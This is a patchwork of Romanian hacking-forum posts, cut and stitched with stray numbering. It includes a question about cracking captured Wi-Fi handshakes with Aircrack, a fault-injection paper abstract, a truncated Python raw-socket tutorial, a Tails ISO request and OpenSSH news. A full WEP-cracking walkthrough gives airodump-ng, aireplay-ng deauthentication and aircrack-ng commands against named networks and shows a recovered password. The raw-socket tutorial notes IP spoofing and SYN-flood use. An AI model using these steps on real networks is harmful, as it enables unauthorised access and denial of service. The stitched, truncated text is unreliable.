  2. Salutare tuturor Revin si eu cu cateva intrebari legate de wi-fi pen. Deci am parcurs urmatorii pasi: Metoda 1 Am luat o Alfa pe care am conectat-o la Kali linux dupa care am scanat cateva retele wi-fi si am obtinut cateva handshake-uri pentru respectivele retele dupa care am exportat acele handshake-uri si le-am copiat pe windows 10 unde am Aircrack (toate bune si frumoase pana aici). Am importat in Aircrack fisierul ce contine acel handshacke am selectat encriptia si key size 64, o lansez dar programul imi spune ca am doar 150 iv's si sa incerc cu minim 5000 iv's. Ce sunt acele iv's si cum le obtin? Cumva sunt pachete ? Momentan am ales sa incerc cracking-ul acelui handshacke cu un wordlist destul de mare (2GB) dar cuvintele sunt in engleza deci sunt sceptic ca va functiona, daca gasesc un wordlist in romana voi incerca si cu el. Metoda 2 Aceeasi placa de retea + CommView for WiFi apoi scanat reteaua targhetata (Doar 5 minute pentru ca trial and yeah), capturat un log (cateva pachete etc) , convertit fisierul ca sa poata fi rulat de aircrack si primesc acelasi mesaj ca in Metoda cu Linux. Ai mai ramas intrebarile de mai sus, Ce sunt acele iv's si cum le obtin? Cumva sunt pachete ? Pot scana cu altceva retelele pentru a obtine un log mai mare si mai multe pachete in speranta ca o sa prin 5k iv's din acelea (daca da cum sau cu ce soft) ? Astept raspuns de la cei care au mai multe cunostinte despre asa ceva Multumesc anticipat!
  3. Abstract: Today’s standard embedded device technology is not robust against Fault Injection (FI) attacks such as Voltage Fault Injection (V-FI). FI attacks can be used to alter the intended behavior of software and hardware of embedded devices. Most FI research focuses on breaking the implementation of cryptographic algorithms. However, this paper’s contribution is in showing that FI attacks are effective at altering the intended behavior of large and complex code bases like the Linux Operating System (OS) when executed by a fast and feature rich System-on-Chip (SoC). More specifically, we show three attacks where full control of the Linux OS is achieved from an unprivileged context using V-FI. These attacks target standard Linux OS functionality and operate in absence of any logical vulnerability.We assume an attacker that already achieved unprivileged code execution. The practicality of the attacks is demonstrated using a commercially available V-FI test bench and a commercially available ARM Cortex-A9 SoC development board. Finally, we discuss mitigations to lower probability and minimize impact of a successful FI attack on complex systems like the Linux OS.

  8. Raw sockets allow a program or application to provide custom headers for the specific protocol(tcp ip) which are otherwise provided by the kernel/os network stack. In more simple terms its for adding custom headers instead of headers provided by the underlying operating system. Raw socket support is available natively in the socket api in linux. This is different from windows where it is absent (it became available in windows 2000/xp/xp sp1 but was removed later). Although raw sockets dont find much use in common networking applications, they are used widely in applications related to network security. In this article we are going to create raw tcp/ip packets. For this we need to know how to make proper ip header and tcp headers. A packet = Ip header + Tcp header + data. So lets have a look at the structures. Ip header According to RFC 791 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Every single number is 1 bit. So for example the Version field is 4 bit. The header must be constructed exactly like shown. TCP header Next comes the TCP header. According to RFC 793 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Create a raw socket Raw socket can be created in python like this #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() To create raw socket, the program must have root privileges on the system. For example on ubuntu run the program with sudo. The above example creates a raw socket of type IPPROTO_RAW which is a raw IP packet. Means that we provide everything including the ip header. Once the socket is created, next thing is to create and construct the packet that is to be send out. C like structures are not available in python, therefore the functions called pack and unpack have to be used to create the packet in the structure specified above. So first, lets make the ip header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 source_ip = '192.168.1.101' dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com') # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (version << 4) + ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) Now ip_header has the data for the ip header. Now the usage of pack function, it packs some values has bytes, some as 16bit fields and some as 32 bit fields. Next comes the tcp header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # tcp header fields tcp_source = 1234 # source port tcp_dest = 80 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) The construction of the tcp header is similar to the ip header. The tcp header has a field called checksum which needs to be filled in correctly. A pseudo header is constructed to compute the checksum. The checksum is calculated over the tcp header along with the data. Checksum is necessary to detect errors in the transmission on the receiver side. Code Here is the full code to send a raw packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 ''' Raw sockets on Linux Silver Moon (m00n.silv3r@gmail.com) ''' # some imports import socket, sys from struct import * # checksum functions needed for calculation checksum def checksum(msg): s = 0 # loop taking 2 characters at a time for i in range(0, len(msg), 2): w = ord(msg) + (ord(msg[i+1]) << 8 ) s = s + w s = (s>>16) + (s & 0xffff); s = s + (s >> 16); #complement and mask to 4 byte short s = ~s & 0xffff return s #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created.

It should show the packet. Raw sockets find application in the field of network security. The above example can be used to code a tcp syn flood program. Syn flood programs are used in Dos attacks. Raw sockets are also used to code packet sniffers, port scanners etc. sursa: http://www.binarytides.com/raw-socket-programming-in-python-linux/

    wifi WEP crack

    EXPLICATIE PENTRU PROSTI: Ce-ti trebuie? Kali Linux+ placa de wifi. Personal am incercat de pe un rasp si un adaptor TL-WN722N.Kali l-a detectat direct, fara probleme. De unde incep? Deschid terminal, si scriu airmon-ng.Daca-mi apare ceva de genul e de bine, am o placa wireless cu care-mi pot face treaba.A se tine cont ca e numita wlan0. Acum scriu airmon-ng start wlan0 (sau cum e numita placa) si ar trebui sa apara asta : Daca apar mai multe procese care pot cauza probleme, de ex 2274, le puteti inchide folosind "kill 2274(PID CODE); Next : airodump-ng mon0, pentru a vedea retelele wifi disponibile. Aici se paote vedea ca retelele cu WEP sunt mtnl, si priyan chahal Acum scriem: airodump-ng –w mtnlcr –c 4 –bssid 0C:D2:B5:03:43:68 mon0 Dupa -w se pune un nume pentru un viitor fisier ce va fi creat, dupa -c se pune canalul, iar dupa -bssid ..bssid -ul. Dupa ce am scris comanda, asteptam sa se trimita pachete.Un 15k ar fi destule.Daca nu se acumuleaza destule, deschizi un tab nou in care scrii : aireplay-ng -0 0 -a 0C:D2:B5:03:43:68 mon0 si vei genera mai multe pachete. Dupa toate astea, mai ramane un singur lucru.Scrie aircrack-ng mtnlcr-01.cap Numele este cu 01, in cazul in care este prima data cand incerci.Daca incerci iar si n-ai sters fisierul creat anterior, se va genera cu 02, 03 etc. Cam asa a aratat rezultatul final la mine In cazul de mai sus, parola este : 6119500401

    Tails ISO (versiunea 2.0.0)

    Salut, Aveti careva din intamplare ISO-ul de tails, versiunea 2.2.0 ? Eu l-am sters cu ceva timp in urma si nu reusesc sa-l mai gasesc pe nicaieri. Am incercat si Tails 2.2.1 si Tails 2.3 insa pe versiunile acestea nu reusesc sa fac ssh din consola fara sa dezactivez firewall-ul si asta nu ma ajuta. Stiu ca pe versiunea 2.2.0 mergea perfect. Multam!

  24. Until now Unix and Linux system administrators have to download a third-party SSH client software like Putty on their Windows machines to securely manage their machines and servers remotely through Secure Shell protocol or Shell Session (better known as SSH). This might have always been an awkward feature of Windows platform, as it lacks both – a native SSH client software for connecting to Linux machines, and an SSH server to support inbound connections from Linux machines. But… Believe it or not: You don't need to deal with any third-party SSH client now, as Microsoft is working on supporting OpenSSH. Yes, Microsoft has finally decided to bring OpenSSH client and server to Windows. The PowerShell team at Microsoft has announced that the company is going to support and contribute to OpenSSH community in an effort to deliver better SSH support in the PowerShell and Windows SSH software solutions. So, the upcoming version of Windows PowerShell – the command-line shell and scripting language – will allow users to manage Windows and Linux computers through SSH. For those who are unaware, SSH is basically designed to offer the best security when accessing another computer remotely. It not only encrypts the remote session, but also provides better authentication facilities, with features like secure file transferring and network port forwarding. This is not first time Microsoft has planned to adopt SSH for its Windows platform, the company had tried to allow the secure shell protocol to be used within Windows twice but was unable to implement it. However, developers who are eager to use this new functionality in PowerShell still have to wait for some time, as the project is still in the early planning phase. So far, there isn’t any definite release date. The PowerShell team will update more information on when users can expect SSH support shortly. Source
